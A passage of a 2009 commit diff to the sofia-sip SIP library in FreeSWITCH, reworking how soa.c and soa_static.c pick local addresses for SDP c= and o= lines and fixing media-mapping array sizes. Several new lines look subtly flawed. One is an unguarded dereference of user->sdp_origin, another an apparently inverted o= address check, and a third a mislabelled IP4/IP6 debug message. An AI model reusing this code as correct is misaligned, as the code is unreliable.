 
-  c = o->o_address;
+  if (!soa_check_sdp_connection(o->o_address) ||
+      host_is_local(o->o_address->c_address))
+    return soa_init_sdp_connection_with_session(ss, o->o_address, buffer, sdp);
 
-  if (!c->c_nettype ||
-      !c->c_address ||
-      strcmp(c->c_address, "") == 0 ||
-      strcmp(c->c_address, "0.0.0.0") == 0 ||
-      strcmp(c->c_address, "::") == 0 ||
-      !host_is_local(c->c_address)) {
-    return soa_init_sdp_connection(ss, c, buffer);
-  }
-
   return 0;
 }
 
-/** Search for an local address item from string provided by user */
-static
-su_localinfo_t *li_in_list(su_localinfo_t *li0, char const **llist)
-{
-  char const *list = *llist;
-  size_t n;
 
-  if (!list)
-    return NULL;
-
-  while ((n = strcspn(list, ", "))) {
-    su_localinfo_t *li;
-
-    for (li = li0; li; li = li->li_next) {
-      if (strncasecmp(li->li_canonname, list, n) == 0 &&
-	  li->li_canonname[n] == '\0')
-	break;
-    }
-
-    list += n; while (list[0] == ' ' || list[0] == ',') list++;
-    *llist = list;
-
-    if (li)
-      return li;
-  }
-
-  return NULL;
-}
-
-
 /** Obtain a local address for SDP connection structure */
 int
 soa_init_sdp_connection(soa_session_t *ss,
 			sdp_connection_t *c,
 			char buffer[64])
 {
-  su_localinfo_t *res, hints[1] = {{ LI_CANONNAME | LI_NUMERIC }};
-  su_localinfo_t *li, *li4, *li6;
+  return soa_init_sdp_connection_with_session(ss, c, buffer, NULL);
+}
+
+static su_localinfo_t const *best_listed_address_in_localinfo(
+  su_localinfo_t const *res, char const *address, int ip4, int ip6);
+static sdp_connection_t const *best_listed_address_in_session(
+  sdp_session_t const *sdp, char const *address0, int ip4, int ip6);
+static su_localinfo_t const *best_listed_address(
+  su_localinfo_t *li0, char const *address, int ip4, int ip6);
+
+
+/** Obtain a local address for SDP connection structure.
+ *
+ * Prefer an address already found in @a sdp.
+ */
+int
+soa_init_sdp_connection_with_session(soa_session_t *ss,
+				     sdp_connection_t *c,
+				     char buffer[64],
+				     sdp_session_t const *sdp)
+{
+  su_localinfo_t *res, hints[1] = {{ LI_CANONNAME | LI_NUMERIC }}, li0[1];
+  su_localinfo_t const *li, *li4, *li6;
   char const *address;
+  char const *source = NULL;
   int ip4, ip6, error;
+  char abuffer[64];		/* getting value from ss_address */
 
-  if (ss == NULL || c == NULL)
+  if (ss == NULL || c == NULL || buffer == NULL)
     return su_seterrno(EFAULT), -1;
 
   address = ss->ss_address;
@@ -2272,20 +2277,39 @@
       c->c_address = memcpy(buffer, address + 1, len - 1);
       buffer[len - 1] = '\0';
     }
+
+    SU_DEBUG_5(("%s: using SOATAG_ADDRESS(\"%s\")\n", __func__, c->c_address));
+
     return 0;
   }
 
   /* XXX - using LI_SCOPE_LINK requires some tweaking */
   hints->li_scope = LI_SCOPE_GLOBAL | LI_SCOPE_SITE /* | LI_SCOPE_LINK */;
 
+  for (res = NULL; res == NULL;) {
+    if ((error = su_getlocalinfo(hints, &res)) < 0
+	&& error != ELI_NOADDRESS) {
+      SU_DEBUG_1(("%s: su_localinfo: %s\n", __func__,
+		  su_gli_strerror(error)));
+      return -1;
+    }
+    if (hints->li_scope & LI_SCOPE_HOST)
+      break;
+    hints->li_scope |= LI_SCOPE_HOST;
+  }
+
+  if (c->c_nettype != sdp_net_in ||
+      (c->c_addrtype != sdp_addr_ip4 && c->c_addrtype != sdp_addr_ip6)) {
+    c->c_nettype = sdp_net_in, c->c_addrtype = (sdp_addrtype_e)0;
+    c->c_address = strcpy(buffer, "");
+  }
+
   switch (ss->ss_af) {
   case SOA_AF_IP4_ONLY:
-    hints->li_family = AF_INET, ip4 = 1, ip6 = 0;
+    ip4 = 1, ip6 = 0;
     break;
-
-#if HAVE_SIN6
   case SOA_AF_IP6_ONLY:
-    hints->li_family = AF_INET6, ip6 = 1, ip4 = 0;
+    ip6 = 1, ip4 = 0;
     break;
   case SOA_AF_IP4_IP6:
     ip4 = 2, ip6 = 1;
@@ -2293,79 +2317,251 @@
   case SOA_AF_IP6_IP4:
     ip4 = 1, ip6 = 2;
     break;
-#endif
   default:
     ip4 = ip6 = 1;
   }
 
-  for (res = NULL; res == NULL;) {
-    if ((error = su_getlocalinfo(hints, &res)) < 0
-	&& error != ELI_NOADDRESS) {
-      SU_DEBUG_1(("%s: su_localinfo: %s\n", __func__,
-		  su_gli_strerror(error)));
-      return -1;
+  if (ip4 && ip6) {
+    /* Prefer address family already used in session, if any */
+    sdp_addrtype_e addrtype = (sdp_addrtype_e)0;
+    char const *because = "error";
+
+    if (sdp && sdp->sdp_connection &&
+	sdp->sdp_connection->c_nettype == sdp_net_in) {
+      addrtype = sdp->sdp_connection->c_addrtype;
+      because = "an existing c= line";
     }
-    if (hints->li_scope & LI_SCOPE_HOST)
-      break;
-    hints->li_scope |= LI_SCOPE_HOST;
+    else if (sdp) {
+      int mip4 = 0, mip6 = 0;
+      sdp_media_t const *m;
+
+      for (m = sdp->sdp_media; m; m = m->m_next) {
+	sdp_connection_t const *mc;
+
+	if (m->m_rejected)
+	  continue;
+
+	for (mc = m->m_connections; mc; mc = mc->c_next) {
+	  if (mc->c_nettype == sdp_net_in) {
+	    if (mc->c_addrtype == sdp_addr_ip4)
+	      mip4++;
+	    else if (mc->c_addrtype == sdp_addr_ip6)
+	      mip6++;
+	  }
+	}
+      }
+
+      if (mip4 && mip6)
+	/* Mixed. */;
+      else if (mip4)
+	addrtype = sdp_addr_ip4, because = "an existing c= line under m=";
+      else if (mip6)
+	addrtype = sdp_addr_ip6, because = "an existing c= line under m=";
+    }
+
+    if (addrtype == 0)
+      addrtype = c->c_addrtype, because = "the user sdp";
+
+    if (addrtype == sdp_addr_ip4) {
+      if (ip6 >= ip4)
+	SU_DEBUG_5(("%s: prefer %s because of %s\n", __func__, "IP4", because));
+      ip4 = 2, ip6 = 1;
+    }
+    else if (addrtype == sdp_addr_ip6) {
+      if (ip4 >= ip6)
+	SU_DEBUG_5(("%s: prefer %s because of %s\n", __func__, "IP4", because));
+      ip6 = 2, ip4 = 1;
+    }
   }
 
-  if (!(ip4 & ip6 && c->c_nettype == sdp_net_in))
-    /* Use ss_af preference */;
-  else if (c->c_addrtype == sdp_addr_ip4)
-    ip4 = 2, ip6 = 1;
-  else if (c->c_addrtype == sdp_addr_ip6)
-    ip6 = 2, ip4 = 1;
+  li = NULL, li4 = NULL, li6 = NULL;
 
-  if (address)
-    SU_DEBUG_3(("%s: searching for %s from list \"%s\"\n",
-		__func__, ip6 && !ip4 ? "IP6 " : !ip6 && ip4 ? "IP4 " : "",
-		address));
+  if (li == NULL && ss->ss_address) {
+    li = best_listed_address_in_localinfo(res, ss->ss_address, ip4, ip6);
+    if (li)
+      source = "local address from SOATAG_ADDRESS() list";
+  }
 
-  li = res, li4 = NULL, li6 = NULL;
+  if (li == NULL && ss->ss_address && sdp) {
+    sdp_connection_t const *c;
+    c = best_listed_address_in_session(sdp, ss->ss_address, ip4, ip6);
+    if (c) {
+      li = memset(li0, 0, sizeof li0);
+      if (c->c_addrtype == sdp_addr_ip4)
+	li0->li_family = AF_INET;
+#if SU_HAVE_IN6
+      else
+	li0->li_family = AF_INET6;
+#endif
+      li0->li_canonname = (char *)c->c_address;
+      source = "address from SOATAG_ADDRESS() list already in session";
+    }
+  }
 
-  for (;;) {
-    if (address)
-      li = li_in_list(li, &address);
+  if (li == NULL && ss->ss_address) {
+    memset(li0, 0, sizeof li0);
+    li0->li_canonname = abuffer;
+    li = best_listed_address(li0, ss->ss_address, ip4, ip6);
+    if (li)
+      source = "address from SOATAG_ADDRESS() list";
+  }
 
-    if (!li)
-      break;
-#if HAVE_SIN6
-    else if (li->li_family == AF_INET6) {
-      if (ip6 >= ip4)
+  if (li == NULL) {
+    for (li = res; li; li = li->li_next) {
+      if (su_casematch(li->li_canonname, c->c_address))
 	break;
-      else if (!li6)
-	li6 = li;		/* Best IP6 address */
     }
+    if (li)
+      source = "the proposed local address";
+  }
+
+  /* Check if session-level c= address is local */
+  if (li == NULL && sdp && sdp->sdp_connection) {
+    for (li = res; li; li = li->li_next) {
+      if (!su_casematch(li->li_canonname, sdp->sdp_connection->c_address))
+	continue;
+#if HAVE_SIN6
+      if (li->li_family == AF_INET6) {
+	if (ip6 >= ip4)
+	  break;
+	else if (!li6)
+	  li6 = li;		/* Best IP6 address */
+      }
 #endif
-    else if (li->li_family == AF_INET) {
-      if (ip4 > ip6)
+      else if (li->li_family == AF_INET) {
+	if (ip4 >= ip6)
+	  break;
+	else if (!li4)
+	  li4 = li;		/* Best IP4 address */
+      }
+    }
+
+    if (li == NULL && ip4)
+      li = li4;
+    if (li == NULL && ip6)
+      li = li6;
+    if (li)
+      source = "an existing session-level c= line";
+  }
+
+  /* Check for best local media-level c= address */
+  if (li == NULL && sdp) {
+    sdp_media_t const *m;
+
+    for (m = sdp->sdp_media; m; m = m->m_next) {
+      sdp_connection_t const *mc;
+
+      if (m->m_rejected)
+	continue;
+
+      for (mc = m->m_connections; mc; mc = mc->c_next) {
+	for (li = res; li; li = li->li_next) {
+	  if (!su_casematch(li->li_canonname, mc->c_address))
+	    continue;
+#if HAVE_SIN6
+	  if (li->li_family == AF_INET6) {
+	    if (ip6 > ip4)
+	      break;
+	    else if (!li6)
+	      li6 = li;		/* Best IP6 address */
+	  }
+#endif
+	  else if (li->li_family == AF_INET) {
+	    if (ip4 > ip6)
+	      break;
+	    else if (!li4)
+	      li4 = li;		/* Best IP4 address */
+	  }
+	}
+      }
+
+      if (li)
 	break;
-      else if (!li4)
-	li4 = li;		/* Best IP4 address */
     }
 
-    if (!address)
-      li = li->li_next;
+    if (li == NULL && ip4)
+      li = li4;
+    if (li == NULL && ip6)
+      li = li6;
+    if (li)
+      source = "an existing c= address from media descriptions";
   }
 
-  if (li == NULL)
-    li = li4;
-  if (li == NULL)
-    li = li6;
+  /* Check if o= address is local */
+  if (li == NULL && sdp && sdp->sdp_origin) {
+    char const *address = sdp->sdp_origin->o_address->c_address;
 
-  if (li == NULL)
-    ;
-  else if (li->li_family == AF_INET)
-    c->c_nettype = sdp_net_in,  c->c_addrtype = sdp_addr_ip4;
+    for (li = res; li; li = li->li_next) {
+      if (!su_casematch(li->li_canonname, address))
+	continue;
 #if HAVE_SIN6
-  else if (li->li_family == AF_INET6)
-    c->c_nettype = sdp_net_in,  c->c_addrtype = sdp_addr_ip6;
+      if (li->li_family == AF_INET6) {
+	if (ip6 >= ip4)
+	  break;
+	else if (!li6)
+	  li6 = li;		/* Best IP6 address */
+      }
 #endif
+      else if (li->li_family == AF_INET) {
+	if (ip4 >= ip6)
+	  break;
+	else if (!li4)
+	  li4 = li;		/* Best IP4 address */
+      }
+    }
 
+    if (li == NULL && ip4)
+      li = li4;
+    if (li == NULL && ip6)
+      li = li6;
+    if (li)
+      source = "an existing address from o= line";
+  }
+
+  if (li == NULL) {
+    for (li = res; li; li = li->li_next) {
+      if (li->li_family == AF_INET) {
+	if (ip4 >= ip6)
+	  break;
+	else if (!li4)
+	  li4 = li;		/* Best IP4 address */
+      }
+#if HAVE_SIN6
+      else if (li->li_family == AF_INET6) {
+	if (ip6 >= ip4)
+	  break;
+	else if (!li6)
+	  li6 = li;		/* Best IP6 address */
+      }
+#endif
+    }
+
+    if (li == NULL && ip4)
+      li = li4;
+    if (li == NULL && ip6)
+      li = li6;
+
+    if (li)
+      source = "a local address";
+  }
+
   if (li) {
+    char const *typename;
+
+    if (li->li_family == AF_INET)
+      c->c_nettype = sdp_net_in,  c->c_addrtype = sdp_addr_ip4, typename = "IP4";
+#if HAVE_SIN6
+    else if (li->li_family == AF_INET6)
+      c->c_nettype = sdp_net_in,  c->c_addrtype = sdp_addr_ip6, typename = "IP6";
+#endif
+    else
+      typename = "???";
+
     assert(strlen(li->li_canonname) < 64);
     c->c_address = strcpy(buffer, li->li_canonname);
+
+    SU_DEBUG_5(("%s: selected IN %s %s (%s)\n", __func__,
+		typename, li->li_canonname, source));
   }
 
   su_freelocalinfo(res);
@@ -2375,3 +2571,174 @@
   else
     return 0;
 }
+
+/* Search for first entry from SOATAG_ADDRESS() list on localinfo list */
+static su_localinfo_t const *
+best_listed_address_in_localinfo(su_localinfo_t const *res,
+				 char const *address,
+				 int ip4,
+				 int ip6)
+{
+  su_localinfo_t const  *li = NULL, *best = NULL;
+  size_t n;
+
+  SU_DEBUG_3(("%s: searching for %s from list \"%s\"\n",
+	      __func__, ip6 && !ip4 ? "IP6 " : !ip6 && ip4 ? "IP4 " : "",
+	      address));
+
+  for (; address[0]; address += n + strspn(address, ", ")) {
+    n = strcspn(address, ", ");
+    if (n == 0)
+      continue;
+
+    for (li = res; li; li = li->li_next) {
+      if (su_casenmatch(li->li_canonname, address, n) &&
+	  li->li_canonname[n] == '\0')
+	break;
+    }
+
+    if (li == NULL)
+      continue;
+#if HAVE_SIN6
+    else if (li->li_family == AF_INET6) {
+      if (ip6 >= ip4)
+	return li;
+      else if (ip6 && !best)
+	best = li;		/* Best IP6 address */
+    }
+#endif
+    else if (li->li_family == AF_INET) {
+      if (ip4 >= ip6)
+	return li;
+      else if (ip4 && !best)
+	best = li;		/* Best IP4 address */
+    }
+  }
+
+  return best;
+}
+
+/* Search for first entry from SOATAG_ADDRESS() list in session */
+static sdp_connection_t const *
+best_listed_address_in_session(sdp_session_t const *sdp,
+			       char const *address0,
+			       int ip4,
+			       int ip6)
+{
+  sdp_connection_t *c = NULL, *best = NULL;
+  sdp_media_t *m;
+  char const *address;
+  size_t n;
+
+  for (address = address0; address[0]; address += n + strspn(address, ", ")) {
+    n = strcspn(address, ", ");
+    if (n == 0)
+      continue;
+
+    c = sdp->sdp_connection;
+
+    if (c && su_casenmatch(c->c_address, address, n) && c->c_address[n] == 0)
+      ;
+    else
+      for (m = sdp->sdp_media; m; m = m->m_next) {
+	if (m->m_connections && m->m_connections != sdp->sdp_connection) {
+	  c = sdp->sdp_connection;
+	  if (su_casenmatch(c->c_address, address, n) && c->c_address[n] == 0)
+	    break;
+	  c = NULL;
+	}
+      }
+
+    if (c == NULL || c->c_nettype != sdp_net_in)
+      continue;
+#if HAVE_SIN6
+    else if (c->c_addrtype == sdp_addr_ip6) {
+      if (ip6 >= ip4)
+	return c;
+      else if (ip6 && !best)
+	best = c;		/* Best IP6 address */
+    }
+#endif
+    else if (c->c_addrtype == sdp_addr_ip4) {
+      if (ip4 >= ip6)
+	return c;
+      else if (ip4 && !best)
+	best = c;		/* Best IP4 address */
+    }
+  }
+
+  if (best || sdp->sdp_origin == NULL)
+    return best;
+
+  /* Check if address on list is already been used on o= line */
+  for (address = address0; address[0]; address += n + strspn(address, ", ")) {
+    n = strcspn(address, ", ");
+    if (n == 0)
+      continue;
+    c = sdp->sdp_origin->o_address;
+
+    if (su_casenmatch(c->c_address, address, n) && c->c_address[n] != 0)
+      continue;
+#if HAVE_SIN6
+    else if (c->c_addrtype == sdp_addr_ip6) {
+      if (ip6 >= ip4)
+	return c;
+      else if (ip6 && !best)
+	best = c;		/* Best IP6 address */
+    }
+#endif
+    else if (c->c_addrtype == sdp_addr_ip4) {
+      if (ip4 >= ip6)
+	return c;
+      else if (ip4 && !best)
+	best = c;		/* Best IP4 address */
+    }
+  }
+
+  return best;
+}
+
+static su_localinfo_t const *
+best_listed_address(su_localinfo_t *li0,
+		    char const *address,
+		    int ip4,
+		    int ip6)
+{
+  size_t n, best = 0;
+  char *buffer = (char *)li0->li_canonname;
+
+  for (; address[0]; address += n + strspn(address + n, " ,")) {
+    if ((n = span_ip6_address(address))) {
+#if SU_HAVE_IN6
+      if (ip6 > ip4) {
+	li0->li_family = AF_INET6;
+	strncpy(buffer, address, n)[n] = '\0';
+	return li0;
+      }
+      else if (ip6 && !best) {
+	li0->li_family = AF_INET6;
+	strncpy(buffer, address, best = n)[n] = '\0';
+      }
+#endif
+    }
+    else if ((n = span_ip4_address(address))) {
+      if (ip4 > ip6) {
+	li0->li_family = AF_INET;
+	strncpy(buffer, address, n)[n] = '\0';
+	return li0;
+      }
+      else if (ip4 && !best) {
+	li0->li_family = AF_INET;
+	strncpy(buffer, address, best = n)[n] = '\0';
+      }
+    }
+    else {
+      n = strcspn(address, " ,");
+    }
+  }
+
+  if (best)
+    return li0;
+  else
+    return NULL;
+}

Modified: freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/soa_static.c (14471 => 14472)


--- freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/soa_static.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/sofia-sip/libsofia-sip-ua/soa/soa_static.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -62,7 +62,7 @@
 #include <sofia-sip/su_tag_class.h>
 #include <sofia-sip/su_tagarg.h>
 #include <sofia-sip/su_strlst.h>
-#include <sofia-sip/string0.h>
+#include <sofia-sip/su_string.h>
 #include <sofia-sip/bnf.h>
 
 #include "sofia-sip/soa.h"
@@ -72,10 +72,6 @@
 #define NONE ((void *)-1)
 #define XXX assert(!"implemented")
 
-#if !HAVE_STRCASESTR
-char *strcasestr(const char *haystack, const char *needle);
-#endif
-
 typedef struct soa_static_session
 {
   soa_session_t sss_session[1];
@@ -88,6 +84,11 @@
   /** Mapping from session SDP m= lines to user SDP m= lines */
   int *sss_s2u;
 
+  /** State kept from SDP before current offer */
+  struct {
+    int  *u2s, *s2u;
+  } sss_previous;
+
   /** Our latest offer or answer */
   sdp_session_t *sss_latest;
 }
@@ -175,7 +176,7 @@
 	      SOATAG_REUSE_REJECTED_REF(reuse_rejected),
 	      TAG_END());
 
-  if (n > 0 && str0casecmp(audio_aux, sss->sss_audio_aux)) {
+  if (n > 0 && !su_casematch(audio_aux, sss->sss_audio_aux)) {
     char *s = su_strdup(ss->ss_home, audio_aux), *tbf = sss->sss_audio_aux;
     if (s == NULL && audio_aux != NULL)
       return -1;
@@ -280,7 +281,12 @@
   rejected->m_proto_name = m->m_proto_name;
 
   if (include_all_codecs) {
-    rejected->m_rtpmaps = m->m_rtpmaps;
+    if (m->m_rtpmaps) {
+      rejected->m_rtpmaps = m->m_rtpmaps;
+    }
+    else if (m->m_format) {
+      rejected->m_format = m->m_format;
+    }
   }
 
   rejected->m_rejected = 1;
@@ -358,7 +364,7 @@
     return 0;
 
   for (match = auxiliary;
-       (match = strcasestr(match, codec));
+       (match = su_strcasestr(match, codec));
        match = match + 1) {
     if (IS_ALPHANUM(match[clen]) || match[clen] == '-')
       continue;
@@ -710,7 +716,7 @@
 {
   soa_static_session_t *sss = (soa_static_session_t *)ss;
 
-  int Ns, Nu, Nr, size, i, j;
+  int Ns, Nu, Nr, Nmax, n, i, j;
   sdp_media_t *m, **mm, *um;
   sdp_media_t **s_media, **o_media, **u_media;
   sdp_media_t const *rm, **r_media;
@@ -719,18 +725,18 @@
   if (session == NULL || user == NULL)
     return (errno = EFAULT), -1;
 
-  Ns = sdp_media_count(session, sdp_media_any, 0, 0, 0);
-  Nu = sdp_media_count(user, sdp_media_any, 0, 0, 0);
-  Nr = sdp_media_count(remote, sdp_media_any, 0, 0, 0);
+  Ns = sdp_media_count(session, sdp_media_any, (sdp_text_t)0, (sdp_proto_e)0, (sdp_text_t)0);
+  Nu = sdp_media_count(user, sdp_media_any, (sdp_text_t)0, (sdp_proto_e)0, (sdp_text_t)0);
+  Nr = sdp_media_count(remote, sdp_media_any, (sdp_text_t)0, (sdp_proto_e)0, (sdp_text_t)0);
 
   if (remote == NULL)
-    size = Ns + Nu + 1;
+    Nmax = Ns + Nu;
   else if (Ns < Nr)
-    size = Nr + 1;
+    Nmax = Nr;
   else
-    size = Ns + 1;
+    Nmax = Ns;
 
-  s_media = su_zalloc(home, size * (sizeof *s_media));
+  s_media = su_zalloc(home, (Nmax + 1) * (sizeof *s_media));
   o_media = su_zalloc(home, (Ns + 1) * (sizeof *o_media));
   u_media = su_zalloc(home, (Nu + 1) * (sizeof *u_media));
   r_media = su_zalloc(home, (Nr + 1) * (sizeof *r_media));
@@ -742,17 +748,17 @@
     return -1;
 
   u2s = su_alloc(home, (Nu + 1) * sizeof(*u2s));
-  s2u = su_alloc(home, size * sizeof(*s2u));
+  s2u = su_alloc(home, (Nmax + 1) * sizeof(*s2u));
   if (!u2s || !s2u)
     return -1;
 
   for (i = 0; i < Nu; i++)
     u2s[i] = U2S_NOT_USED;
-  u2s[i] = U2S_SENTINEL;
+  u2s[Nu] = U2S_SENTINEL;
 
-  for (i = 0; i <= size; i++)
+  for (i = 0; i < Nmax; i++)
     s2u[i] = U2S_NOT_USED;
-  s2u[i] = U2S_SENTINEL;
+  s2u[Nmax] = U2S_SENTINEL;
 
   for (i = 0, m = session->sdp_media; m && i < Ns; m = m->m_next)
     o_media[i++] = m;
@@ -772,6 +778,7 @@
 	continue;
       if (j >= Nu) /* lines removed from user SDP */
 	continue;
+      assert(i < Ns);
       s_media[i] = u_media[j], u_media[j] = SDP_MEDIA_NONE;
       u2s[j] = i, s2u[i] = j;
     }
@@ -828,7 +835,7 @@
 	if (u_media[j] == SDP_MEDIA_NONE)
 	  continue;
 
-	for (i = 0; i < size - 1; i++) {
+	for (i = 0; i < Nmax; i++) {
 	  if (s_media[i] == NULL) {
 	    s_media[i] = u_media[j], u_media[j] = SDP_MEDIA_NONE;
 	    u2s[j] = i, s2u[i] = j;
@@ -836,7 +843,7 @@
 	  }
 	}
 
-	assert(i != size - 1);
+	assert(i != Nmax);
       }
     }
 
@@ -863,7 +870,7 @@
 	i++;
       }
     }
-    assert(i <= size);
+    assert(i <= Nmax);
   }
 
   mm = &session->sdp_media;
@@ -872,7 +879,7 @@
   }
   *mm = NULL;
 
-  s2u[size = i] = U2S_SENTINEL;
+  s2u[n = i] = U2S_SENTINEL;
   *return_u2s = u2s;
   *return_s2u = s2u;
 
@@ -881,7 +888,7 @@
     i = u2s[j];
     assert(i == U2S_NOT_USED || s2u[i] == j);
   }
-  for (i = 0; i < size; i++) {
+  for (i = 0; i < n; i++) {
     j = s2u[i];
     assert(j == U2S_NOT_USED || u2s[j] == i);
   }
@@ -890,6 +897,7 @@
   return 0;
 }
 
+static
 int *u2s_alloc(su_home_t *home, int const *u2s)
 {
   if (u2s) {
@@ -1009,8 +1017,8 @@
 
   rm = remote ? remote->sdp_media : NULL, rm_next = NULL;
 
-  hold_all = str0cmp(hold, "*") == 0;
-  inactive_all = str0cmp(hold, "#") == 0;
+  hold_all = su_strmatch(hold, "*");
+  inactive_all = su_strmatch(hold, "#");
 
   i = 0;
 
@@ -1036,29 +1044,29 @@
       continue;
     }
 
-    send_mode = um->m_mode & sdp_sendonly;
+    send_mode = (sdp_mode_t)(um->m_mode & sdp_sendonly);
     if (rm)
       send_mode = (rm->m_mode & sdp_recvonly) ? sdp_sendonly : 0;
 
-    recv_mode = um->m_mode & sdp_recvonly;
+    recv_mode = (sdp_mode_t)(um->m_mode & sdp_recvonly);
 
     if (rm && rm->m_mode == sdp_inactive) {
-      send_mode = recv_mode = 0;
+      send_mode = recv_mode = (sdp_mode_t)0;
     }
     else if (inactive_all) {
-      send_mode = recv_mode = 0;
+      send_mode = recv_mode = (sdp_mode_t)0;
     }
     else if (hold_all) {
-      recv_mode = 0;
+      recv_mode = (sdp_mode_t)0;
     }
-    else if (hold && (hold_media = strcasestr(hold, sm->m_type_name))) {
-      recv_mode = 0;
+    else if (hold && (hold_media = su_strcasestr(hold, sm->m_type_name))) {
+      recv_mode = (sdp_mode_t)0;
       hold_media += strlen(sm->m_type_name);
       hold_media += strspn(hold_media, " \t");
       if (hold_media[0] == '=') {
 	hold_media += strspn(hold, " \t");
-	if (strncasecmp(hold_media, "inactive", strlen("inactive")) == 0)
-	  recv_mode = send_mode = 0;
+	if (su_casenmatch(hold_media, "inactive", strlen("inactive")))
+	  recv_mode = send_mode = (sdp_mode_t)0;
       }
     }
 
@@ -1090,7 +1098,6 @@
 {
   soa_static_session_t *sss = (soa_static_session_t *)ss;
 
-  char c_address[64];
   sdp_session_t *local = ss->ss_local->ssd_sdp;
   sdp_session_t local0[1];
 
@@ -1100,8 +1107,12 @@
   sdp_session_t *remote = ss->ss_remote->ssd_sdp;
   unsigned remote_version = ss->ss_remote_version;
 
+  int fresh = 0;
+
   sdp_origin_t o[1] = {{ sizeof(o) }};
   sdp_connection_t *c, c0[1] = {{ sizeof(c0) }};
+  char c0_buffer[64];
+
   sdp_time_t t[1] = {{ sizeof(t) }};
 
   int *u2s = NULL, *s2u = NULL, *tbf;
@@ -1129,8 +1140,8 @@
   if (local && remote) switch (action) {
   case generate_answer:
   case process_answer:
-    if (sdp_media_count(remote, sdp_media_any, "*", 0, 0) <
-	sdp_media_count(local, sdp_media_any, "*", 0, 0)) {
+    if (sdp_media_count(remote, sdp_media_any, "*", (sdp_proto_e)0, (sdp_text_t)0) <
+	sdp_media_count(local, sdp_media_any, "*", (sdp_proto_e)0, (sdp_text_t)0)) {
       SU_DEBUG_5(("%s: remote %s is truncated: expanding\n",
 		  by, action == generate_answer ? "offer" : "answer"));
       remote = soa_sdp_expand_media(tmphome, remote, local);
@@ -1148,22 +1159,16 @@
     SU_DEBUG_7(("soa_static(%p, %s): %s\n", (void *)ss, by,
 		"generating local description"));
 
+    fresh = 1;
     local = local0;
     *local = *user, local->sdp_media = NULL;
 
-    if (local->sdp_origin) {
-      o->o_username = local->sdp_origin->o_username;
-      /* o->o_address = local->sdp_origin->o_address; */
-    }
-    if (!o->o_address)
-      o->o_address = c0;
-    local->sdp_origin = o;
+    o->o_username = "-";
+    o->o_address = c0;
+    c0->c_address = c0_buffer;
 
-    if (soa_init_sdp_origin(ss, o, c_address) < 0) {
-      phrase = "Cannot Get IP Address for Media";
-      goto internal_error;
-    }
-
+    if (!local->sdp_origin)
+      local->sdp_origin = o;
     break;
 
   case process_answer:
@@ -1281,28 +1286,57 @@
     break;
   }
 
-  /* Step F: Update c= line */
+  /* Step F0: Initialize o= line */
+  if (fresh) {
+    if (user->sdp_origin)
+      o->o_username = user->sdp_origin->o_username;
+
+	if (user->sdp_origin->o_address)
+	  o->o_address = user->sdp_origin->o_address;
+
+    if (user->sdp_origin->o_id)
+		o->o_id = user->sdp_origin->o_id;
+
+	if (user->sdp_origin->o_version && user->sdp_origin->o_version != o->o_version) {
+		o->o_version = user->sdp_origin->o_version;
+		o->o_version--;
+	}
+
+    if (soa_init_sdp_origin_with_session(ss, o, c0_buffer, local) < 0) {
+      phrase = "Cannot Get IP Address for Session Description";
+      goto internal_error;
+    }
+
+    local->sdp_origin = o;
+  }
+
+  /* Step F: Update c= line(s) */
   switch (action) {
+    sdp_connection_t *user_c, *local_c;
+
   case generate_offer:
   case generate_answer:
-    /* Upgrade local SDP based of user SDP */
-    if (ss->ss_local_user_version == user_version &&
-	local->sdp_connection)
-      break;
+    user_c = user->sdp_connection;
+    if (!soa_check_sdp_connection(user_c))
+      user_c = NULL;
 
-    if (local->sdp_connection == NULL ||
-	(user->sdp_connection != NULL &&
-	 sdp_connection_cmp(local->sdp_connection, user->sdp_connection))) {
+    local_c = local->sdp_connection;
+    if (!soa_check_sdp_connection(local_c))
+      local_c = NULL;
+
+    if (ss->ss_local_user_version != user_version ||
+	local_c == NULL ||
+	(user_c != NULL && sdp_connection_cmp(local_c, user_c))) {
       sdp_media_t *m;
 
+      if (user_c)
+	c = user_c;
+      else
+	c = local->sdp_origin->o_address;
+
       /* Every m= line (even rejected one) must have a c= line
        * or there must be a c= line at session level
        */
-      if (user->sdp_connection)
-	c = user->sdp_connection;
-      else
-	c = local->sdp_origin->o_address;
-
       for (m = local->sdp_media; m; m = m->m_next)
 	if (m->m_connections == NULL)
 	  break;
@@ -1322,6 +1356,8 @@
   }
 
   soa_description_free(ss, ss->ss_previous);
+  su_free(ss->ss_home, sss->sss_previous.u2s), sss->sss_previous.u2s = NULL;
+  su_free(ss->ss_home, sss->sss_previous.s2u), sss->sss_previous.s2u = NULL;
 
   if (u2s) {
     u2s = u2s_alloc(ss->ss_home, u2s);
@@ -1362,10 +1398,18 @@
 
     if (action == generate_offer) {
       /* Keep a copy of previous session state */
+      int *previous_u2s = u2s_alloc(ss->ss_home, sss->sss_u2s);
+      int *previous_s2u = u2s_alloc(ss->ss_home, sss->sss_s2u);
+
+      if ((sss->sss_u2s && !previous_u2s) || (sss->sss_s2u && !previous_s2u))
+	goto internal_error;
+
       *ss->ss_previous = *ss->ss_local;
       memset(ss->ss_local, 0, (sizeof *ss->ss_local));
       ss->ss_previous_user_version = ss->ss_local_user_version;
       ss->ss_previous_remote_version = ss->ss_local_remote_version;
+      sss->sss_previous.u2s = previous_u2s;
+      sss->sss_previous.s2u = previous_s2u;
     }
 
     SU_DEBUG_7(("soa_static(%p, %s): %s\n", (void *)ss, by,
@@ -1378,6 +1422,8 @@
 	memset(ss->ss_previous, 0, (sizeof *ss->ss_previous));
 	ss->ss_previous_user_version = 0;
 	ss->ss_previous_remote_version = 0;
+	su_free(ss->ss_home, sss->sss_previous.u2s), sss->sss_previous.u2s = NULL;
+	su_free(ss->ss_home, sss->sss_previous.s2u), sss->sss_previous.s2u = NULL;
       }
 
       su_free(ss->ss_home, u2s), su_free(ss->ss_home, s2u);
@@ -1471,21 +1517,26 @@
 static int soa_static_process_reject(soa_session_t *ss,
 				     soa_callback_f *completed)
 {
+  soa_static_session_t *sss = (soa_static_session_t *)ss;
   struct soa_description d[1];
 
-  if (ss->ss_previous_user_version) {
-    *d = *ss->ss_local;
-    *ss->ss_local = *ss->ss_previous;
-    ss->ss_local_user_version = ss->ss_previous_user_version;
-    ss->ss_local_remote_version = ss->ss_previous_remote_version;
+  soa_base_process_reject(ss, NULL);
 
-    memset(ss->ss_previous, 0, (sizeof *ss->ss_previous));
-    soa_description_free(ss, d);
-    ss->ss_previous_user_version = 0;
